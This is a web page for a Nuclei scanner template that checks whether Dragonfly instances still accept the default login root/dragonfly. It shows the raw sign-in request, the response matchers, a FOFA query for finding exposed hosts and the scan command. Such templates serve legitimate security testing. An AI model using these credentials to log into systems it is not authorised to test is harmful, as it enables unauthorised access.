Skip to content

Dragonfly - Default Login

ID: dragonfly-default-login

Severity: high

Author: DhiyaneshDK

Tags: dragonfly,default-login

Dragonfly was using the default username, and the password was discovered.

id: dragonfly-default-login
info:
name: Dragonfly - Default Login
author: DhiyaneshDK
severity: high
description: |
Dragonfly was using the default username, and the password was discovered.
metadata:
verified: true
max-request: 1
fofa-query: body="logo-dragonfly.png"
tags: dragonfly,default-login
variables:
username: "root"
password: "dragonfly"
http:
- raw:
- |
POST /api/v1/users/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
{"name":"{{username}}","password":"{{password}}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"token":'
- '{"expire":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4b0a00483046022100bb9930925df85a65cb0463359501f13761cbde18539a1abefe37e18e993928840221008199c64ce9c47a2a238c217c9345bf7a25e1872f9df330777e2fc64f0fbdf86a:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/default-logins/dragonfly/dragonfly-default-login.yaml"

View on Github